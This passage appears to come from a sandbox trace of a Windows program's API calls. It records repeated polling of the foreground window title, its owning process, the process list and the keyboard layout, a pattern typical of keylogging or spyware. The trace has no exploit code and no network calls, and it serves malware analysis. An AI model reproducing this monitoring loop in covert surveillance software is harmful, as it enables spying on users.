ResultLength=0x4f8f840 | out: SystemInformation=0x35830a0, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0193.767] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0193.767] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0193.825] GetForegroundWindow () returned 0x101a2 [0193.825] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0193.887] GetForegroundWindow () returned 0x101a2 [0193.888] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0193.950] GetForegroundWindow () returned 0x101a2 [0193.950] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0194.012] GetForegroundWindow () returned 0x100f6 [0194.012] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0194.012] EnumProcesses (in: lpidProcess=0x24c92f4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24c92f4, lpcbNeeded=0x4f8f87c) returned 1 [0194.013] GetLastError () returned 0x0 [0194.013] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30c0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30c0, ResultLength=0x4f8f840*=0x8e68) returned 0x0 [0194.017] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0194.017] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0195.604] GetForegroundWindow () returned 0x101a2 [0195.604] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0195.728] GetForegroundWindow () returned 0x101a2 [0195.728] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0195.728] EnumProcesses (in: lpidProcess=0x23e083c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23e083c, lpcbNeeded=0x4f8f87c) returned 1 [0195.729] GetLastError () returned 0x0 [0195.730] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0195.733] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0195.733] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0195.791] GetForegroundWindow () returned 0x101a2 [0195.791] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0195.853] GetForegroundWindow () returned 0x101a2 [0195.853] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0195.916] GetForegroundWindow () returned 0x100f6 [0195.916] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0195.916] EnumProcesses (in: lpidProcess=0x23f29ec, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23f29ec, lpcbNeeded=0x4f8f87c) returned 1 [0195.916] GetLastError () returned 0x0 [0195.917] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0195.921] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0195.921] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0195.979] GetForegroundWindow () returned 0x101a2 [0195.979] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0195.979] EnumProcesses (in: lpidProcess=0x24045e8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24045e8, lpcbNeeded=0x4f8f87c) returned 1 [0195.980] GetLastError () returned 0x0 [0195.981] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0195.984] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0195.984] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0196.040] GetForegroundWindow () returned 0x101a2 [0196.040] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0196.103] GetForegroundWindow () returned 0x101a2 [0196.103] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0196.165] GetForegroundWindow () returned 0x101a2 [0196.165] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0196.229] GetForegroundWindow () returned 0x100f6 [0196.230] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0196.230] EnumProcesses (in: lpidProcess=0x24169ec, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24169ec, lpcbNeeded=0x4f8f87c) returned 1 [0196.230] GetLastError () returned 0x0 [0196.231] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0196.234] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0196.234] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0196.290] GetForegroundWindow () returned 0x101a2 [0196.290] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0196.290] EnumProcesses (in: lpidProcess=0x24285e8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24285e8, lpcbNeeded=0x4f8f87c) returned 1 [0196.291] GetLastError () returned 0x0 [0196.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482f90, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0196.295] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0196.295] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0196.352] GetForegroundWindow () returned 0x101a2 [0196.352] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0196.415] GetForegroundWindow () returned 0x101a2 [0196.415] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0196.477] GetForegroundWindow () returned 0x101a2 [0196.477] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0196.540] GetForegroundWindow () returned 0x100f6 [0196.540] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0196.540] EnumProcesses (in: lpidProcess=0x243a9ec, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x243a9ec, lpcbNeeded=0x4f8f87c) returned 1 [0196.540] GetLastError () returned 0x0 [0196.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fb0, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0196.544] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0196.544] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0196.602] GetForegroundWindow () returned 0x101a2 [0196.602] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0196.602] EnumProcesses (in: lpidProcess=0x244c5e8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x244c5e8, lpcbNeeded=0x4f8f87c) returned 1 [0196.602] GetLastError () returned 0x0 [0196.603] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0196.606] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0196.606] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0196.664] GetForegroundWindow () returned 0x101a2 [0196.664] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0196.727] GetForegroundWindow () returned 0x101a2 [0196.727] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0196.789] GetForegroundWindow () returned 0x101a2 [0196.789] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0196.857] GetForegroundWindow () returned 0x100f6 [0196.857] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0196.857] EnumProcesses (in: lpidProcess=0x245e9ec, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x245e9ec, lpcbNeeded=0x4f8f87c) returned 1 [0196.857] GetLastError () returned 0x0 [0196.858] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0196.861] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0196.861] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0196.914] GetForegroundWindow () returned 0x101a2 [0196.914] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0196.914] EnumProcesses (in: lpidProcess=0x24705e8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24705e8, lpcbNeeded=0x4f8f87c) returned 1 [0196.914] GetLastError () returned 0x0 [0196.915] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3503010, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3503010, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0196.918] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0196.918] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0196.976] GetForegroundWindow () returned 0x101a2 [0196.976] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0197.039] GetForegroundWindow () returned 0x101a2 [0197.039] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0197.101] GetForegroundWindow () returned 0x101a2 [0197.101] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0197.163] GetForegroundWindow () returned 0x100f6 [0197.164] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0197.164] EnumProcesses (in: lpidProcess=0x2482a40, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2482a40, lpcbNeeded=0x4f8f87c) returned 1 [0197.164] GetLastError () returned 0x0 [0197.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523030, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0197.169] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0197.169] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0197.226] GetForegroundWindow () returned 0x101a2 [0197.226] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0197.226] EnumProcesses (in: lpidProcess=0x249463c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x249463c, lpcbNeeded=0x4f8f87c) returned 1 [0197.226] GetLastError () returned 0x0 [0197.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563070, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0197.230] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0197.230] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0197.288] GetForegroundWindow () returned 0x101a2 [0197.288] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0197.351] GetForegroundWindow () returned 0x101a2 [0197.351] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0197.413] GetForegroundWindow () returned 0x101a2 [0197.413] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0197.476] GetForegroundWindow () returned 0x100f6 [0197.476] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0197.476] EnumProcesses (in: lpidProcess=0x24a6ea0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24a6ea0, lpcbNeeded=0x4f8f87c) returned 1 [0197.476] GetLastError () returned 0x0 [0197.476] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583090, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3583090, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0197.480] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0197.480] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0197.542] GetForegroundWindow () returned 0x101a2 [0197.542] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0197.543] EnumProcesses (in: lpidProcess=0x24b8a9c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b8a9c, lpcbNeeded=0x4f8f87c) returned 1 [0197.543] GetLastError () returned 0x0 [0197.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30b0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30b0, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0197.547] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0197.548] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0197.603] GetForegroundWindow () returned 0x101a2 [0197.603] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0197.663] GetForegroundWindow () returned 0x101a2 [0197.663] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0197.725] GetForegroundWindow () returned 0x101a2 [0197.726] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0197.787] GetForegroundWindow () returned 0x100f6 [0197.787] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0197.788] EnumProcesses (in: lpidProcess=0x24caea0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24caea0, lpcbNeeded=0x4f8f87c) returned 1 [0197.788] GetLastError () returned 0x0 [0197.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30d0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c30d0, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0197.791] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0197.791] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0197.850] GetForegroundWindow () returned 0x101a2 [0197.850] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0197.850] EnumProcesses (in: lpidProcess=0x24dcb98, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24dcb98, lpcbNeeded=0x4f8f87c) returned 1 [0197.850] GetLastError () returned 0x0 [0197.851] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30f0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e30f0, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0197.854] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0197.854] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0197.912] GetForegroundWindow () returned 0x101a2 [0197.912] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0197.975] GetForegroundWindow () returned 0x101a2 [0197.975] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0198.037] GetForegroundWindow () returned 0x101a2 [0198.037] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0198.099] GetForegroundWindow () returned 0x100f6 [0198.099] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0198.100] EnumProcesses (in: lpidProcess=0x24eeff0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24eeff0, lpcbNeeded=0x4f8f87c) returned 1 [0198.100] GetLastError () returned 0x0 [0198.100] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603110, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3603110, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0198.103] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0198.103] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0198.162] GetForegroundWindow () returned 0x101a2 [0198.162] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0198.162] EnumProcesses (in: lpidProcess=0x2500bec, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2500bec, lpcbNeeded=0x4f8f87c) returned 1 [0198.162] GetLastError () returned 0x0 [0198.162] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623130, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3623130, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0198.165] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0198.166] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0198.224] GetForegroundWindow () returned 0x101a2 [0198.224] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0198.287] GetForegroundWindow () returned 0x101a2 [0198.287] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0198.349] GetForegroundWindow () returned 0x101a2 [0198.349] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0198.411] GetForegroundWindow () returned 0x100f6 [0198.411] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0198.412] EnumProcesses (in: lpidProcess=0x2512ff0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2512ff0, lpcbNeeded=0x4f8f87c) returned 1 [0198.412] GetLastError () returned 0x0 [0198.412] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3643150, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3643150, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0198.415] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0198.415] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0198.474] GetForegroundWindow () returned 0x101a2 [0198.474] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0198.474] EnumProcesses (in: lpidProcess=0x2524bec, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2524bec, lpcbNeeded=0x4f8f87c) returned 1 [0198.475] GetLastError () returned 0x0 [0198.484] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x32f3248, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0198.488] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0198.488] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0198.539] GetForegroundWindow () returned 0x101a2 [0198.539] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0198.599] GetForegroundWindow () returned 0x101a2 [0198.599] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0198.661] GetForegroundWindow () returned 0x101a2 [0198.661] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0198.723] GetForegroundWindow () returned 0x100f6 [0198.723] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0198.723] EnumProcesses (in: lpidProcess=0x2385d24, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2385d24, lpcbNeeded=0x4f8f87c) returned 1 [0198.724] GetLastError () returned 0x0 [0198.724] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0198.728] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0198.728] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0198.786] GetForegroundWindow () returned 0x101a2 [0198.786] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0198.786] EnumProcesses (in: lpidProcess=0x2397920, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2397920, lpcbNeeded=0x4f8f87c) returned 1 [0198.786] GetLastError () returned 0x0 [0198.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0198.790] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0198.790] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0198.848] GetForegroundWindow () returned 0x101a2 [0198.848] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0198.911] GetForegroundWindow () returned 0x101a2 [0198.911] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0198.973] GetForegroundWindow () returned 0x101a2 [0198.973] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0199.035] GetForegroundWindow () returned 0x100f6 [0199.035] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0199.035] EnumProcesses (in: lpidProcess=0x23a9d78, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a9d78, lpcbNeeded=0x4f8f87c) returned 1 [0199.036] GetLastError () returned 0x0 [0199.037] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0199.040] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0199.040] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0199.098] GetForegroundWindow () returned 0x101a2 [0199.098] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0199.098] EnumProcesses (in: lpidProcess=0x23bb974, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23bb974, lpcbNeeded=0x4f8f87c) returned 1 [0199.098] GetLastError () returned 0x0 [0199.099] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0199.102] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0199.102] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0199.238] GetForegroundWindow () returned 0x101a2 [0199.238] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0199.301] GetForegroundWindow () returned 0x101a2 [0199.301] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0199.363] GetForegroundWindow () returned 0x101a2 [0199.363] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0199.425] GetForegroundWindow () returned 0x100f6 [0199.426] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0199.426] EnumProcesses (in: lpidProcess=0x23cdd78, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23cdd78, lpcbNeeded=0x4f8f87c) returned 1 [0199.426] GetLastError () returned 0x0 [0199.427] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8f68) returned 0x0 [0199.431] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0199.431] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0199.488] GetForegroundWindow () returned 0x101a2 [0199.488] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0199.488] EnumProcesses (in: lpidProcess=0x23df974, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23df974, lpcbNeeded=0x4f8f87c) returned 1 